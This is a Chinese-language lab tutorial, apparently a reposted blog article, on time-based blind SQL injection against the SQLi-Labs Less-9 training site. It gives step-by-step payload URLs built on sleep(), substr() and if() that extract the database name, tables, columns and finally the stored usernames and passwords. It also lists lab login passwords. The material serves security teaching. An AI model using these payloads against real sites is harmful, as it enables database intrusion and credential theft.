你会盲注么?

admin 2026-05-23 05:08:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了SQL注入中基于时间盲注的技术原理与实战步骤,通过SQLi-Labs靶场Less-9场景演示如何利用sleep()、length()、substr()等函数逐字符猜测数据库名、表名、字段及账户密码。实验涵盖注入点判断、条件判断函数组合使用、信息Schema查询等关键操作,提供完整的盲注流程与Payload示例。 综合评分: 85 文章分类: 渗透测试,WEB安全,实战经验,漏洞分析,安全工具


cover_image

你会盲注么?

原创

建哥聊安全 建哥聊安全

建哥聊安全

2026年5月21日 09:06 湖南

在小说阅读器读本章

去阅读

SQL注入-基于时间的盲注

实验目的

了解延时盲注技术的运用场景及条件,熟悉length()、substr()、ascii()、sleep()、if()等函数的用法,掌握基于时间的盲注基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

(1)关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数sleep()、benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

(2)一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。 substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。 ascii(str):返回字符串(str)最左边字符的ASCII码。 if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2,expr1为false则返回expr3。 sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。 benchmark(count,expr):让expr执行count次,执行成功后返回0。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-9为入口,利用基于时间的盲注方式获取SQLi-Labs网站的登录用户名和密码。

1.访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-9。访问的URL为:

http://[靶机IP]/sqli-labs/Less-9/

(注意大小写)

登录后,根据网页提示,给定一个?id=1的参数,即:

http://[靶机IP]/sqli-labs/Less-9/?id=1

此时页面显示信息为You are in…。

如果给定一个?id=-1的参数,即:

http://[靶机IP]/sqli-labs/Less-9/?id=-1

此时页面显示信息仍然为You are in…。

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种:You are in…。由此可以判断,这是一种典型的时间(延时)盲注场景!

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!

2.寻找注入点

使用sleep()函数判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-9/?id=1 and sleep(5)–+

sleep(5)未执行,页面无明显延迟。

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and sleep(5)–+

sleep(5)成功执行,页面有明显延迟!

由上述结果可以判断,网站存在字符型注入点。

3.盲猜网站当前所在数据库的库名长度

假设当前所在数据库的库名长度为N,尝试使用判断语句if((length(database())=M),sleep(5),1),不断变化M的值去猜测,如果M等于N,此时sleep(5)会成功执行,页面应该会有明显延迟。

例如执行如下payload:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(length(database())=7,sleep(5),1)–+

页面无明显延迟,说明网站当前所在数据库的库名长度不是7个字符。

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(length(database())=8,sleep(5),1)–+

页面有明显延迟,说明网站当前所在数据库的库名长度为8个字符!

4.盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 if(substr(库名字符串,1,1)=‘a’,sleep(5),1) 以及 if(ascii(substr(库名字符串,1,1))=97,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

假设库名字符串的第2个字母为b,那么条件判断语句 if(substr(库名字符串,2,1)=‘b’,sleep(5),1) 以及 if(ascii(substr(库名字符串,2,1))=98,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

以此类推。

猜测库名的第1个字母:

http://[靶机IP]/sqli-labs/Less-9/?id=1′

and if(substr(database(),1,1)=’s’,sleep(5),1)–+或

http://[靶机IP]/sqli-labs/Less-9/?id=1′

 and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+

页面有明显延迟,证明库名的第1个字母为s,猜测正确。

猜测库名的第2个字母:

http://[靶机IP]/sqli-labs/Less-9/?id=1′

and if(substr(database(),2,1)=’e’,sleep(5),1)–+或

http://[靶机IP]/sqli-labs/Less-9/?id=1′

and if(ascii(substr(database(),2,1))=101,sleep(5),1)–+

页面有明显延迟,证明库名的第2个字母为e,猜测正确。

以此类推,最终得到的字符串结果为security。

5.盲猜数据库security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)=’e’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,sleep(5),1)–+

页面有明显延迟,证明第1张表的表名的第1个字符为e,猜测正确。

猜测第1张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),2,1)=’m’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),2,1))=109,sleep(5),1)–+

页面有明显延迟,证明第1张表的表名的第2个字符为m,猜测正确。

以此类推,得到security库中的第1张表的名字为emails。

(2)猜测第2张表的表名

猜测第2张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1)=’r’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114,sleep(5),1)–+

页面有明显延迟,证明第2张表的表名的第1个字符为r,猜测正确。

猜测第2张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),2,1)=’e’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),2,1))=101,sleep(5),1)–+

页面有明显延迟,证明第2张表的表名的第2个字符为e,猜测正确。

以此类推,得到security库中的第2张表的名字为referers。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息。

6.盲猜users表的全部字段名

(1)猜测第1个字段名

猜测第1个字段名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1)=’i’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))=105,sleep(5),1)–+

页面有明显延迟,证明第1个字段名的第1个字符为i,猜测正确。

猜测第1个字段名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),2,1)=’d’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),2,1))=100,sleep(5),1)–+

页面有明显延迟,证明第1个字段名的第2个字符为d,猜测正确。

以此类推,得到users表中的第1个字段名为id。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中所有字段名:id、username和password。

7.盲猜users表username和password字段的全部值

(1)猜测第1组数据

猜测第1组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),1,1)=’D’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),1,1))=68,sleep(5),1)–+

页面有明显延迟,证明第1组数据的第1个字符为D,猜测正确。

猜测第1组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),2,1)=’u’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)–+

页面有明显延迟,证明第1组数据的第2个字符为u,猜测正确。

以此类推,得到第1组数据为“Dump,Dump”。

注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),5,1)=’,’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 0,1),5,1))=44,sleep(5),1)–+

(2)猜测第2组数据

猜测第2组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),1,1)=’A’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),1,1))=65,sleep(5),1)–+

页面有明显延迟,证明第2组数据的第1个字符为A,猜测正确。

猜测第2组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),2,1)=’n’,sleep(5),1)–+

http://[靶机IP]/sqli-labs/Less-9/?id=1′ and if(ascii(substr((select concat_ws(‘,’,username,password) from security.users limit 1,1),2,1))=110,sleep(5),1)–+

页面有明显延迟,证明第2组数据的第2个字符为n,猜测正确。

以此类推,得到第2组数据为“Angelina,I-kill-you”。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。 实验至此结束。

实验总结

本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉了length()、substr()、ascii()、sleep()、if()等函数的用法,掌握了基于时间的盲注方法和流程。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:建哥聊安全 建哥聊安全 建哥聊安全《你会盲注么?》

你会盲注么? 网络安全文章

你会盲注么?

文章总结: 本文详细介绍了SQL注入中基于时间盲注的技术原理与实战步骤,通过SQLi-Labs靶场Less-9场景演示如何利用sleep()、length()、
二十四节气:今日小满 网络安全文章

二十四节气:今日小满

文章总结: 该文档为江南信安发布的2026年5月21日小满节气相关内容,但文档主体内容缺失(仅包含图片占位符和基础发布信息),无法提取有效技术要点或可操作建议。
评论:0   参与:  0